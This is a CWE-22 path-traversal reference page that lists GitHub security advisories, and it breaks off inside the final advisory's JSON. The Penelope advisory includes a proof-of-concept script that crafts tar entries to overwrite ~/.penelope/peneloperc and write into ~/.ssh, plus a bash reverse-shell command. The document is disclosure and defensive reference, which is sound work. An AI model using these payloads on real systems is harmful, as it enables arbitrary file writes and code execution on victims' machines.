Common Weakness Enumeration

CWE-22

Weakness Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.

Mapping guidance

This CWE entry might have children that would be more appropriate.

Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.

Relationships and members
ChildOf: CWE-706 · View CWE-1000
ChildOf: CWE-706 · View CWE-1003
CanPrecede: CWE-668 · View CWE-1000
Modes of introduction
Implementation
Detection methods

Automated Static Analysis

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Effectiveness: High

Manual Static Analysis

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Fuzz Tester

Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Notes

Other

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

Relationship

Pathname equivalence can be regarded as a type of canonicalization error.

Relationship

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

Terminology

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.

Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

Research Gap

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

Research Gap

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.

Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

Content history
Submission: PLOVER · 2006-07-19 · CWE Draft 3
Contribution: Nick Johnston · 2022-07-11 · CWE 4.9

Identified weakness in Perl demonstrative example

Contribution: Abhi Balakrishnan · 2024-02-29 · CWE 4.15

Provided diagram to improve CWE usability

Contribution: Drew Buttner · MITRE · 2024-11-01 · CWE 4.16

Identified weakness in "good code" for Python demonstrative example

Contribution: Affan Ahmed · 2025-02-08 · CWE 4.20

Provided a demonstrative example in PHP

Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Potential_Mitigations, Time_of_Introduction

Modification: · Veracode · 2008-08-15 · CWE 1.0

Suggested OWASP Top Ten 2004 mapping

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2008-10-14 · CWE 1.0.1

updated Description

Modification: CWE Content Team · MITRE · 2008-11-24 · CWE 1.1

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2009-07-27 · CWE 1.5

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2010-02-16 · CWE 1.8

updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2010-06-21 · CWE 1.9

updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships

Modification: CWE Content Team · MITRE · 2010-09-27 · CWE 1.10

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2010-12-13 · CWE 1.11

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2011-03-29 · CWE 1.12

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2011-06-27 · CWE 2.0

updated Relationships

Modification: CWE Content Team · MITRE · 2011-09-13 · CWE 2.1

updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Demonstrative_Examples, References, Relationships

Modification: CWE Content Team · MITRE · 2012-10-30 · CWE 2.3

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2013-02-21 · CWE 2.4

updated Observed_Examples

Modification: CWE Content Team · MITRE · 2013-07-17 · CWE 2.5

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2014-06-23 · CWE 2.7

updated Other_Notes, Research_Gaps

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Detection_Factors, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Relationships

Modification: CWE Content Team · MITRE · 2017-01-19 · CWE 2.10

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2017-05-03 · CWE 2.11

updated Demonstrative_Examples

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2018-03-27 · CWE 3.1

updated References, Relationships

Modification: CWE Content Team · MITRE · 2019-01-03 · CWE 3.2

updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Related_Attack_Patterns, Relationships, Type

Modification: CWE Content Team · MITRE · 2019-09-19 · CWE 3.4

updated Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Potential_Mitigations, Relationships

Modification: CWE Content Team · MITRE · 2020-06-25 · CWE 4.1

updated Demonstrative_Examples, Potential_Mitigations

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Relationships

Modification: CWE Content Team · MITRE · 2020-12-10 · CWE 4.3

updated Potential_Mitigations, Relationships

Modification: CWE Content Team · MITRE · 2021-03-15 · CWE 4.4

updated Demonstrative_Examples, Relationships

Modification: CWE Content Team · MITRE · 2021-07-20 · CWE 4.5

updated Relationships

Modification: CWE Content Team · MITRE · 2021-10-28 · CWE 4.6

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Observed_Examples, References

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Common_Consequences, Description, Detection_Factors

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Demonstrative_Examples, References, Relationships, Time_of_Introduction

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes, Relationships

Modification: CWE Content Team · MITRE · 2023-10-26 · CWE 4.13

updated Observed_Examples

Modification: CWE Content Team · MITRE · 2024-07-16 · CWE 4.15

updated Common_Consequences, Description, Diagram, Observed_Examples, Other_Notes, References

Modification: CWE Content Team · MITRE · 2024-11-19 · CWE 4.16

updated Demonstrative_Examples, Relationships

Modification: CWE Content Team · MITRE · 2025-04-03 · CWE 4.17

updated Relationships

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Applicable_Platforms, Detection_Factors, Observed_Examples, Potential_Mitigations, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Mapping_Notes, Relationships

Modification: CWE Content Team · MITRE · 2026-04-30 · CWE 4.20

updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Relationships

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Applicable_Platforms, Common_Consequences, Name, References, Relationships, Taxonomy_Mappings

16145 vulnerabilities reference this CWE, most recent first.

GHSA-F3X3-49J2-R3JP

Vulnerability from github – Published: 2022-05-17 01:49 – Updated: 2022-05-17 01:49
VLAI
Details

Multiple directory traversal vulnerabilities in OpenEMR 4.1.0 allow remote authenticated users to read arbitrary files via a .. (dot dot) in the formname parameter to (1) contrib/acog/print_form.php; or (2) load_form.php, (3) view_form.php, or (4) trend_form.php in interface/patient_file/encounter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2012-0991"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-02-07T21:55:00Z",
    "severity": "LOW"
  },
  "details": "Multiple directory traversal vulnerabilities in OpenEMR 4.1.0 allow remote authenticated users to read arbitrary files via a .. (dot dot) in the formname parameter to (1) contrib/acog/print_form.php; or (2) load_form.php, (3) view_form.php, or (4) trend_form.php in interface/patient_file/encounter.",
  "id": "GHSA-f3x3-49j2-r3jp",
  "modified": "2022-05-17T01:49:11Z",
  "published": "2022-05-17T01:49:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-0991"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/72914"
    },
    {
      "type": "WEB",
      "url": "https://www.htbridge.ch/advisory/HTB23069"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/bugtraq/2012-02/0004.html"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/78727"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/78728"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/78729"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/78730"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/47781"
    },
    {
      "type": "WEB",
      "url": "http://www.open-emr.org/wiki/index.php/OpenEMR_Patches"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/51788"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F3XW-VGC7-F7H8

Vulnerability from github – Published: 2022-05-01 06:43 – Updated: 2024-10-30 18:09
VLAI
Summary
PEAR::Archive_Tar Directory Traversal vulnerability
Details

Directory traversal vulnerability in PEAR::Archive_Tar 1.2, and other versions before 1.3.2, allows remote attackers to create and overwrite arbitrary files via certain crafted pathnames in a TAR archive.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pear/archive_tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2"
            },
            {
              "fixed": "1.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2006-0931"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-30T18:09:28Z",
    "nvd_published_at": "2006-02-28T11:02:00Z",
    "severity": "CRITICAL"
  },
  "details": "Directory traversal vulnerability in PEAR::Archive_Tar 1.2, and other versions before 1.3.2, allows remote attackers to create and overwrite arbitrary files via certain crafted pathnames in a TAR archive.",
  "id": "GHSA-f3xw-vgc7-f7h8",
  "modified": "2024-10-30T18:09:28Z",
  "published": "2022-05-01T06:43:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-0931"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pear/Archive_Tar"
    },
    {
      "type": "WEB",
      "url": "http://pear.php.net/bugs/bug.php?id=6933"
    },
    {
      "type": "WEB",
      "url": "http://pear.php.net/package/Archive_Tar/download"
    },
    {
      "type": "WEB",
      "url": "http://www.hamid.ir/security/phptar.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PEAR::Archive_Tar Directory Traversal vulnerability"
}

GHSA-F42M-MVFV-CGW5

Vulnerability from github – Published: 2024-04-16 00:30 – Updated: 2024-04-16 18:18
VLAI
Summary
mlflow vulnerable to Path Traversal
Details

A path traversal vulnerability exists in the mlflow/mlflow repository due to improper handling of URL parameters. By smuggling path traversal sequences using the ';' character in URLs, attackers can manipulate the 'params' portion of the URL to gain unauthorized access to files or directories. This vulnerability allows for arbitrary data smuggling into the 'params' part of the URL, enabling attacks similar to those described in previous reports but utilizing the ';' character for parameter smuggling. Successful exploitation could lead to unauthorized information disclosure or server compromise.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mlflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-1593"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-16T18:18:31Z",
    "nvd_published_at": "2024-04-16T00:15:09Z",
    "severity": "HIGH"
  },
  "details": "A path traversal vulnerability exists in the mlflow/mlflow repository due to improper handling of URL parameters. By smuggling path traversal sequences using the \u0027;\u0027 character in URLs, attackers can manipulate the \u0027params\u0027 portion of the URL to gain unauthorized access to files or directories. This vulnerability allows for arbitrary data smuggling into the \u0027params\u0027 part of the URL, enabling attacks similar to those described in previous reports but utilizing the \u0027;\u0027 character for parameter smuggling. Successful exploitation could lead to unauthorized information disclosure or server compromise.",
  "id": "GHSA-f42m-mvfv-cgw5",
  "modified": "2024-04-16T18:18:31Z",
  "published": "2024-04-16T00:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1593"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mlflow/mlflow"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/dbdc6bd6-d09a-46f2-9d9c-5138a14b6e31"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mlflow vulnerable to Path Traversal"
}

GHSA-F42W-655X-JC67

Vulnerability from github – Published: 2026-03-22 15:31 – Updated: 2026-03-22 15:31
VLAI
Details

NetNumber Titan Master 7.9.1 contains a path traversal vulnerability in the drp endpoint that allows authenticated users to download arbitrary files by injecting directory traversal sequences. Attackers can manipulate the path parameter with base64-encoded payloads containing ../ sequences to bypass authorization and retrieve sensitive system files like /etc/shadow.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-25610"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-22T14:16:29Z",
    "severity": "HIGH"
  },
  "details": "NetNumber Titan Master 7.9.1 contains a path traversal vulnerability in the drp endpoint that allows authenticated users to download arbitrary files by injecting directory traversal sequences. Attackers can manipulate the path parameter with base64-encoded payloads containing ../ sequences to bypass authorization and retrieve sensitive system files like /etc/shadow.",
  "id": "GHSA-f42w-655x-jc67",
  "modified": "2026-03-22T15:31:28Z",
  "published": "2026-03-22T15:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25610"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/46811"
    },
    {
      "type": "WEB",
      "url": "https://www.netnumber.com/products/#data"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/netnumber-titan-master-path-traversal-via-drp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-F42X-P2MX-HM8R

Vulnerability from github – Published: 2026-07-29 15:34 – Updated: 2026-07-29 15:34
VLAI
Summary
Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive
Details

Summary

Penelope versions prior to 0.19.3 extracted tar archives received from remote sessions without validating archive member paths. When using the affected Unix download path, a malicious or compromised remote session could return a crafted tar archive containing path traversal entries, such as ../, causing files to be written outside the intended download directory on the Penelope operator's machine.

The impact is limited to files writable by the user running Penelope. In some cases, this arbitrary file write could be chained to operator-side code execution if the attacker can overwrite a file that Penelope or the user later executes, such as ~/.penelope/peneloperc. The issue has been fixed in version 0.19.3 by rejecting unsafe archive paths during extraction.

Affected conditions

The issue requires the operator to use the Main Menu download command to download files from a malicious or compromised remote session that can influence the tar archive returned to Penelope. The Python agent download path is not affected in the same way because it does not rely on the remote tar command.

The vulnerable behavior is related to Python's historical tarfile extraction defaults. In Python versions before 3.14, TarFile.extractall() did not use the safer data extraction filter by default, so applications extracting untrusted tar archives needed to explicitly provide a safe extraction filter or perform their own path validation.

Python 3.14 changes the default extraction behavior to use the data filter, which rejects dangerous archive features such as absolute paths and paths outside the destination directory. Penelope 0.19.3 now performs explicit validation/rejection of unsafe archive paths so the fix does not depend on the Python runtime version.

Details

The vulnerable code is in the Unix download() implementation.

Penelope creates a local download directory:

local_download_folder = self.directory / "downloads"

Later, it opens a tar archive received from the remote session:

tar = tarfile.open(mode=mode, fileobj=tar_source)

Then it extracts all members without validating archive paths:

tar.extractall(local_download_folder)

Because member names are trusted, a malicious tar archive can contain paths such as:

../../../../../home/operator/.penelope/peneloperc

This escapes the intended local_download_folder and writes to an arbitrary path writable by the Penelope operator.

The same extraction block also suppresses Python's DeprecationWarning around unsafe tar extraction:

with warnings.catch_warnings():
    warnings.simplefilter("ignore", category=DeprecationWarning)
    tar.extractall(local_download_folder)

The file-write impact can be chained with Penelope's rc loading behavior:

def load_rc():
    RC = Path(options.basedir / "peneloperc")
    try:
        with open(RC, "r") as rc:
            exec(rc.read(), globals())

By default, options.basedir is ~/.penelope, so the executed rc file is:

~/.penelope/peneloperc

Since session downloads are stored under ~/.penelope/sessions/<session>/downloads, a crafted tar member can traverse upward and plant or replace ~/.penelope/peneloperc. The planted Python code executes when Penelope starts again or when the operator runs reload.

PoC

The following reproduces the issue locally by simulating a malicious remote endpoint. The fake tar binary is placed first in PATH for the test shell, so when Penelope asks the remote session to run tar, the remote session returns a crafted archive with path traversal entries.

Start Penelope in Terminal 1:

penelope -p 4444 -U -C #No upgrade and session connection needed

path1

Prepare the fake remote tar in Terminal 2:

mkdir -p /tmp/penelope-fakebin
mkdir -p "$HOME/.penelope" "$HOME/.ssh"
cp -f "$HOME/.penelope/peneloperc" /tmp/peneloperc.backup 2>/dev/null || true

cat > /tmp/penelope-fakebin/tar <<'EOF'
#!/usr/bin/env python3
import io
import os
import sys
import tarfile
import time

home = os.path.expanduser("~")
target_home = home.lstrip("/")

def add_file(tar, target, data):
    data = data.encode()
    info = tarfile.TarInfo(target)
    info.size = len(data)
    info.mode = 0o644
    info.mtime = int(time.time())
    tar.addfile(info, io.BytesIO(data))

with tarfile.open(mode="w:gz", fileobj=sys.stdout.buffer) as tar:
    add_file(tar, "../../../../../" + target_home + "/PENELOPE_CVE_PROOF.txt", "Penelope path traversal proof\n")
    add_file(tar, "../../../../../" + target_home + "/.ssh/PENELOPE_SSH_KEY.txt", "fake-demo-ssh_key-not-for-authentication\n")
    add_file(
        tar,
        "../../../../../" + target_home + "/.penelope/peneloperc",
        "open('/" + target_home + "/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\\n')\n"
    )
EOF

chmod +x /tmp/penelope-fakebin/tar
touch /tmp/penelope_dummy

Connect the local test shell back to Penelope in Terminal 2:

PATH=/tmp/penelope-fakebin:$PATH bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'

path2

In Terminal 1, inside Penelope, trigger the vulnerable download:

download /tmp/penelope_dummy

Verify in Terminal 3 that files were written outside the intended download directory:

cat "$HOME/PENELOPE_CVE_PROOF.txt"
cat "$HOME/.ssh/PENELOPE_SSH_KEY.txt"
grep PENELOPE_RC_EXECUTED "$HOME/.penelope/peneloperc"

path3

Expected output includes:

Penelope path traversal proof
fake-demo-ssh_key-not-for-authentication
open('/home/<user>/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\n')

In Terminal 1, inside Penelope, execute the planted rc line:

reload

Verify in Terminal 3 that peneloperc executed:

cat "$HOME/PENELOPE_RC_EXECUTED.txt"

Expected output:

peneloperc executed via reload

Cleanup:

rm -f "$HOME/PENELOPE_CVE_PROOF.txt"
rm -f "$HOME/.ssh/PENELOPE_SSH_KEY.txt"
rm -f "$HOME/PENELOPE_RC_EXECUTED.txt"
if [ -f /tmp/peneloperc.backup ]; then cp -f /tmp/peneloperc.backup "$HOME/.penelope/peneloperc"; else rm -f "$HOME/.penelope/peneloperc"; fi
rm -f /tmp/peneloperc.backup
rm -rf /tmp/penelope-fakebin
rm -f /tmp/penelope_dummy

Impact

A malicious remote session can write arbitrary files on the Penelope operator's machine, limited to the permissions of the user running Penelope.

For a non-root operator, this may be chained to operator-side code execution only if the attacker can overwrite a user-writable file that Penelope or the user later executes, such as:

~/.penelope/peneloperc
~/.bashrc
~/.profile
~/.config/autostart/*.desktop

For a root operator, the impact is higher because root-writable files may be overwritten.

Suggested Fix

Validate every archive member before extraction by resolving the final destination path and rejecting paths outside the intended download directory. Reject symlink and hardlink members. On supported Python versions, filter="data" can be used as an additional safeguard.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "penelope-shell-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50558"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T15:34:16Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nPenelope versions prior to 0.19.3 extracted tar archives received from remote sessions without validating archive member paths. When using the affected Unix download path, a malicious or compromised remote session could return a crafted tar archive containing path traversal entries, such as `../`, causing files to be written outside the intended download directory on the Penelope operator\u0027s machine.\n\nThe impact is limited to files writable by the user running Penelope. In some cases, this arbitrary file write could be chained to operator-side code execution if the attacker can overwrite a file that Penelope or the user later executes, such as `~/.penelope/peneloperc`. The issue has been fixed in version 0.19.3 by rejecting unsafe archive paths during extraction.\n\n### Affected conditions\n\nThe issue requires the operator to use the Main Menu `download` command to download files from a malicious or compromised remote session that can influence the tar archive returned to Penelope. The Python agent download path is not affected in the same way because it does not rely on the remote `tar` command.\n\nThe vulnerable behavior is related to Python\u0027s historical `tarfile` extraction defaults. In Python versions before 3.14, `TarFile.extractall()` did not use the safer `data` extraction filter by default, so applications extracting untrusted tar archives needed to explicitly provide a safe extraction filter or perform their own path validation.\n\nPython 3.14 changes the default extraction behavior to use the `data` filter, which rejects dangerous archive features such as absolute paths and paths outside the destination directory. Penelope 0.19.3 now performs explicit validation/rejection of unsafe archive paths so the fix does not depend on the Python runtime version.\n\n### Details\n\nThe vulnerable code is in the Unix `download()` implementation.\n\nPenelope creates a local download directory:\n\n```python\nlocal_download_folder = self.directory / \"downloads\"\n```\n\nLater, it opens a tar archive received from the remote session:\n\n```python\ntar = tarfile.open(mode=mode, fileobj=tar_source)\n```\n\nThen it extracts all members without validating archive paths:\n\n```python\ntar.extractall(local_download_folder)\n```\n\nBecause member names are trusted, a malicious tar archive can contain paths such as:\n\n```text\n../../../../../home/operator/.penelope/peneloperc\n```\n\nThis escapes the intended `local_download_folder` and writes to an arbitrary path writable by the Penelope operator.\n\nThe same extraction block also suppresses Python\u0027s `DeprecationWarning` around unsafe tar extraction:\n\n```python\nwith warnings.catch_warnings():\n    warnings.simplefilter(\"ignore\", category=DeprecationWarning)\n    tar.extractall(local_download_folder)\n```\n\nThe file-write impact can be chained with Penelope\u0027s rc loading behavior:\n\n```python\ndef load_rc():\n    RC = Path(options.basedir / \"peneloperc\")\n    try:\n        with open(RC, \"r\") as rc:\n            exec(rc.read(), globals())\n```\n\nBy default, `options.basedir` is `~/.penelope`, so the executed rc file is:\n\n```text\n~/.penelope/peneloperc\n```\n\nSince session downloads are stored under `~/.penelope/sessions/\u003csession\u003e/downloads`, a crafted tar member can traverse upward and plant or replace `~/.penelope/peneloperc`. The planted Python code executes when Penelope starts again or when the operator runs `reload`.\n\n### PoC\n\nThe following reproduces the issue locally by simulating a malicious remote endpoint. The fake `tar` binary is placed first in `PATH` for the test shell, so when Penelope asks the remote session to run `tar`, the remote session returns a crafted archive with path traversal entries.\n\nStart Penelope in Terminal 1:\n\n```bash\npenelope -p 4444 -U -C #No upgrade and session connection needed\n```\n\u003cimg width=\"1920\" height=\"337\" alt=\"path1\" src=\"https://github.com/user-attachments/assets/c8cb2dd6-e6d5-43ce-b3a2-61005dbcf95c\" /\u003e\n\nPrepare the fake remote `tar` in Terminal 2:\n\n```bash\nmkdir -p /tmp/penelope-fakebin\nmkdir -p \"$HOME/.penelope\" \"$HOME/.ssh\"\ncp -f \"$HOME/.penelope/peneloperc\" /tmp/peneloperc.backup 2\u003e/dev/null || true\n\ncat \u003e /tmp/penelope-fakebin/tar \u003c\u003c\u0027EOF\u0027\n#!/usr/bin/env python3\nimport io\nimport os\nimport sys\nimport tarfile\nimport time\n\nhome = os.path.expanduser(\"~\")\ntarget_home = home.lstrip(\"/\")\n\ndef add_file(tar, target, data):\n    data = data.encode()\n    info = tarfile.TarInfo(target)\n    info.size = len(data)\n    info.mode = 0o644\n    info.mtime = int(time.time())\n    tar.addfile(info, io.BytesIO(data))\n\nwith tarfile.open(mode=\"w:gz\", fileobj=sys.stdout.buffer) as tar:\n    add_file(tar, \"../../../../../\" + target_home + \"/PENELOPE_CVE_PROOF.txt\", \"Penelope path traversal proof\\n\")\n    add_file(tar, \"../../../../../\" + target_home + \"/.ssh/PENELOPE_SSH_KEY.txt\", \"fake-demo-ssh_key-not-for-authentication\\n\")\n    add_file(\n        tar,\n        \"../../../../../\" + target_home + \"/.penelope/peneloperc\",\n        \"open(\u0027/\" + target_home + \"/PENELOPE_RC_EXECUTED.txt\u0027, \u0027w\u0027).write(\u0027peneloperc executed via reload\\\\n\u0027)\\n\"\n    )\nEOF\n\nchmod +x /tmp/penelope-fakebin/tar\ntouch /tmp/penelope_dummy\n```\n\nConnect the local test shell back to Penelope in Terminal 2:\n\n```bash\nPATH=/tmp/penelope-fakebin:$PATH bash -c \u0027bash -i \u003e\u0026 /dev/tcp/127.0.0.1/4444 0\u003e\u00261\u0027\n```\n\u003cimg width=\"1920\" height=\"1000\" alt=\"path2\" src=\"https://github.com/user-attachments/assets/c6db4888-9a41-4a99-b8d1-35c06f07ca4a\" /\u003e\n\nIn Terminal 1, inside Penelope, trigger the vulnerable download:\n\n```text\ndownload /tmp/penelope_dummy\n```\n\nVerify in Terminal 3 that files were written outside the intended download directory:\n\n```bash\ncat \"$HOME/PENELOPE_CVE_PROOF.txt\"\ncat 